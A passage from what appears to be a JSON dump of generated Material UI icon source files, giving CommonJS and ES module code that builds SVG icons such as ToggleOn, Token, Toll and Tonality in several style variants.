    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4m0-7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'ToggleOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ToggleOnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h10c2.76 0 5-2.24 5-5s-2.24-5-5-5m0 8c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'ToggleOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ToggleOnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h10c2.76 0 5-2.24 5-5s-2.24-5-5-5m0 8c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'ToggleOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ToggleOnSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h10c2.76 0 5-2.24 5-5s-2.24-5-5-5m0 8c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'ToggleOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ToggleOnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h10c2.76 0 5-2.24 5-5s-2.24-5-5-5m0 8c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'ToggleOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ToggleOnTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 8H7c-2.21 0-4 1.79-4 4s1.79 4 4 4h10c2.21 0 4-1.79 4-4s-1.79-4-4-4m0 7c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4m0-7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}, \"1\")], 'ToggleOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ToggleOnTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 8H7c-2.21 0-4 1.79-4 4s1.79 4 4 4h10c2.21 0 4-1.79 4-4s-1.79-4-4-4m0 7c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4m0-7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}, \"1\")], 'ToggleOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Token.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.97 6.43 12 2 4.03 6.43 9.1 9.24C9.83 8.48 10.86 8 12 8s2.17.48 2.9 1.24zM10 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m1 9.44L3 17V8.14l5.13 2.85c-.09.32-.13.66-.13 1.01 0 1.86 1.27 3.43 3 3.87zm2 0v-5.57c1.73-.44 3-2.01 3-3.87 0-.35-.04-.69-.13-1.01L21 8.14V17z\"\n}), 'Token');"
  },
  {
    "path": "packages/mui-icons-material/lib/Token.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.97 6.43 12 2 4.03 6.43 9.1 9.24C9.83 8.48 10.86 8 12 8s2.17.48 2.9 1.24zM10 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m1 9.44L3 17V8.14l5.13 2.85c-.09.32-.13.66-.13 1.01 0 1.86 1.27 3.43 3 3.87zm2 0v-5.57c1.73-.44 3-2.01 3-3.87 0-.35-.04-.69-.13-1.01L21 8.14V17z\"\n}), 'Token');"
  },
  {
    "path": "packages/mui-icons-material/lib/TokenOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 7-9-5-9 5v10l9 5 9-5zm-9-2.71 5.91 3.28-3.01 1.67C14.17 8.48 13.14 8 12 8s-2.17.48-2.9 1.24L6.09 7.57zm-1 14.87-6-3.33V9.26L8.13 11c-.09.31-.13.65-.13 1 0 1.86 1.27 3.43 3 3.87zM10 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m3 7.16v-3.28c1.73-.44 3-2.01 3-3.87 0-.35-.04-.69-.13-1.01L19 9.26v6.57z\"\n}), 'TokenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TokenOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 7-9-5-9 5v10l9 5 9-5zm-9-2.71 5.91 3.28-3.01 1.67C14.17 8.48 13.14 8 12 8s-2.17.48-2.9 1.24L6.09 7.57zm-1 14.87-6-3.33V9.26L8.13 11c-.09.31-.13.65-.13 1 0 1.86 1.27 3.43 3 3.87zM10 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m3 7.16v-3.28c1.73-.44 3-2.01 3-3.87 0-.35-.04-.69-.13-1.01L19 9.26v6.57z\"\n}), 'TokenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TokenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.97 2.54c-.6-.34-1.34-.34-1.94 0l-7 3.89L9.1 9.24C9.83 8.48 10.86 8 12 8s2.17.48 2.9 1.24l5.07-2.82zM10 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M3 8.14l5.13 2.85c-.09.32-.13.66-.13 1.01 0 1.86 1.27 3.43 3 3.87v5.57l-6.97-3.87C3.39 17.22 3 16.55 3 15.82zm10 13.3v-5.57c1.73-.44 3-2.01 3-3.87 0-.35-.04-.69-.13-1.01L21 8.14v7.68c0 .73-.39 1.4-1.03 1.75z\"\n}), 'TokenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TokenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.97 2.54c-.6-.34-1.34-.34-1.94 0l-7 3.89L9.1 9.24C9.83 8.48 10.86 8 12 8s2.17.48 2.9 1.24l5.07-2.82zM10 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M3 8.14l5.13 2.85c-.09.32-.13.66-.13 1.01 0 1.86 1.27 3.43 3 3.87v5.57l-6.97-3.87C3.39 17.22 3 16.55 3 15.82zm10 13.3v-5.57c1.73-.44 3-2.01 3-3.87 0-.35-.04-.69-.13-1.01L21 8.14v7.68c0 .73-.39 1.4-1.03 1.75z\"\n}), 'TokenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TokenSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.97 6.43 12 2 4.03 6.43 9.1 9.24C9.83 8.48 10.86 8 12 8s2.17.48 2.9 1.24zM10 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m1 9.44L3 17V8.14l5.13 2.85c-.09.32-.13.66-.13 1.01 0 1.86 1.27 3.43 3 3.87zm2 0v-5.57c1.73-.44 3-2.01 3-3.87 0-.35-.04-.69-.13-1.01L21 8.14V17z\"\n}), 'TokenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TokenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.97 6.43 12 2 4.03 6.43 9.1 9.24C9.83 8.48 10.86 8 12 8s2.17.48 2.9 1.24zM10 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m1 9.44L3 17V8.14l5.13 2.85c-.09.32-.13.66-.13 1.01 0 1.86 1.27 3.43 3 3.87zm2 0v-5.57c1.73-.44 3-2.01 3-3.87 0-.35-.04-.69-.13-1.01L21 8.14V17z\"\n}), 'TokenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TokenTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 4.29 5.91 3.28-3.01 1.67C14.17 8.48 13.14 8 12 8s-2.17.48-2.9 1.24L6.09 7.57zm-1 14.87-6-3.33V9.26L8.13 11c-.09.31-.13.65-.13 1 0 1.86 1.27 3.43 3 3.87zM10 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m3 7.16v-3.28c1.73-.44 3-2.01 3-3.87 0-.35-.04-.69-.13-1.01L19 9.26v6.57z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 7-9-5-9 5v10l9 5 9-5zm-9-2.71 5.91 3.28-3.01 1.67C14.17 8.48 13.14 8 12 8s-2.17.48-2.9 1.24L6.09 7.57zm-1 14.87-6-3.33V9.26L8.13 11c-.09.31-.13.65-.13 1 0 1.86 1.27 3.43 3 3.87zM10 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m3 7.16v-3.28c1.73-.44 3-2.01 3-3.87 0-.35-.04-.69-.13-1.01L19 9.26v6.57z\"\n}, \"1\")], 'TokenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TokenTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 4.29 5.91 3.28-3.01 1.67C14.17 8.48 13.14 8 12 8s-2.17.48-2.9 1.24L6.09 7.57zm-1 14.87-6-3.33V9.26L8.13 11c-.09.31-.13.65-.13 1 0 1.86 1.27 3.43 3 3.87zM10 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m3 7.16v-3.28c1.73-.44 3-2.01 3-3.87 0-.35-.04-.69-.13-1.01L19 9.26v6.57z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 7-9-5-9 5v10l9 5 9-5zm-9-2.71 5.91 3.28-3.01 1.67C14.17 8.48 13.14 8 12 8s-2.17.48-2.9 1.24L6.09 7.57zm-1 14.87-6-3.33V9.26L8.13 11c-.09.31-.13.65-.13 1 0 1.86 1.27 3.43 3 3.87zM10 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m3 7.16v-3.28c1.73-.44 3-2.01 3-3.87 0-.35-.04-.69-.13-1.01L19 9.26v6.57z\"\n}, \"1\")], 'TokenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Toll.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6M3 12c0-2.61 1.67-4.83 4-5.65V4.26C3.55 5.15 1 8.27 1 12s2.55 6.85 6 7.74v-2.09c-2.33-.82-4-3.04-4-5.65\"\n}), 'Toll');"
  },
  {
    "path": "packages/mui-icons-material/lib/Toll.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6M3 12c0-2.61 1.67-4.83 4-5.65V4.26C3.55 5.15 1 8.27 1 12s2.55 6.85 6 7.74v-2.09c-2.33-.82-4-3.04-4-5.65\"\n}), 'Toll');"
  },
  {
    "path": "packages/mui-icons-material/lib/TollOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6M3 12c0-2.61 1.67-4.83 4-5.65V4.26C3.55 5.15 1 8.27 1 12s2.55 6.85 6 7.74v-2.09c-2.33-.82-4-3.04-4-5.65\"\n}), 'TollOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TollOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6M3 12c0-2.61 1.67-4.83 4-5.65V4.26C3.55 5.15 1 8.27 1 12s2.55 6.85 6 7.74v-2.09c-2.33-.82-4-3.04-4-5.65\"\n}), 'TollOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TollRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6M3 12c0-2.39 1.4-4.46 3.43-5.42.34-.16.57-.47.57-.84v-.19c0-.68-.71-1.11-1.32-.82C2.92 5.99 1 8.77 1 12s1.92 6.01 4.68 7.27c.61.28 1.32-.14 1.32-.82v-.18c0-.37-.23-.69-.57-.85C4.4 16.46 3 14.39 3 12\"\n}), 'TollRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TollRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6M3 12c0-2.39 1.4-4.46 3.43-5.42.34-.16.57-.47.57-.84v-.19c0-.68-.71-1.11-1.32-.82C2.92 5.99 1 8.77 1 12s1.92 6.01 4.68 7.27c.61.28 1.32-.14 1.32-.82v-.18c0-.37-.23-.69-.57-.85C4.4 16.46 3 14.39 3 12\"\n}), 'TollRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TollSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6M3 12c0-2.61 1.67-4.83 4-5.65V4.26C3.55 5.15 1 8.27 1 12s2.55 6.85 6 7.74v-2.09c-2.33-.82-4-3.04-4-5.65\"\n}), 'TollSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TollSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6M3 12c0-2.61 1.67-4.83 4-5.65V4.26C3.55 5.15 1 8.27 1 12s2.55 6.85 6 7.74v-2.09c-2.33-.82-4-3.04-4-5.65\"\n}), 'TollSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TollTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6M3 12c0-2.61 1.67-4.83 4-5.65V4.26C3.55 5.15 1 8.27 1 12s2.55 6.85 6 7.74v-2.09c-2.33-.82-4-3.04-4-5.65\"\n}, \"1\")], 'TollTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TollTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6M3 12c0-2.61 1.67-4.83 4-5.65V4.26C3.55 5.15 1 8.27 1 12s2.55 6.85 6 7.74v-2.09c-2.33-.82-4-3.04-4-5.65\"\n}, \"1\")], 'TollTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tonality.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 17.93c-3.94-.49-7-3.85-7-7.93s3.05-7.44 7-7.93zm2-15.86c1.03.13 2 .45 2.87.93H13zM13 7h5.24c.25.31.48.65.68 1H13zm0 3h6.74c.08.33.15.66.19 1H13zm0 9.93V19h2.87c-.87.48-1.84.8-2.87.93M18.24 17H13v-1h5.92c-.2.35-.43.69-.68 1m1.5-3H13v-1h6.93c-.04.34-.11.67-.19 1\"\n}), 'Tonality');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tonality.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 17.93c-3.94-.49-7-3.85-7-7.93s3.05-7.44 7-7.93zm2-15.86c1.03.13 2 .45 2.87.93H13zM13 7h5.24c.25.31.48.65.68 1H13zm0 3h6.74c.08.33.15.66.19 1H13zm0 9.93V19h2.87c-.87.48-1.84.8-2.87.93M18.24 17H13v-1h5.92c-.2.35-.43.69-.68 1m1.5-3H13v-1h6.93c-.04.34-.11.67-.19 1\"\n}), 'Tonality');"
  },
  {
    "path": "packages/mui-icons-material/lib/TonalityOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 17.93c-3.94-.49-7-3.85-7-7.93s3.05-7.44 7-7.93zm2-15.86c1.03.13 2 .45 2.87.93H13zM13 7h5.24c.25.31.48.65.68 1H13zm0 3h6.74c.08.33.15.66.19 1H13zm0 9.93V19h2.87c-.87.48-1.84.8-2.87.93M18.24 17H13v-1h5.92c-.2.35-.43.69-.68 1m1.5-3H13v-1h6.93c-.04.34-.11.67-.19 1\"\n}), 'TonalityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TonalityOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 17.93c-3.94-.49-7-3.85-7-7.93s3.05-7.44 7-7.93zm2-15.86c1.03.13 2 .45 2.87.93H13zM13 7h5.24c.25.31.48.65.68 1H13zm0 3h6.74c.08.33.15.66.19 1H13zm0 9.93V19h2.87c-.87.48-1.84.8-2.87.93M18.24 17H13v-1h5.92c-.2.35-.43.69-.68 1m1.5-3H13v-1h6.93c-.04.34-.11.67-.19 1\"\n}), 'TonalityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TonalityRounded.js",
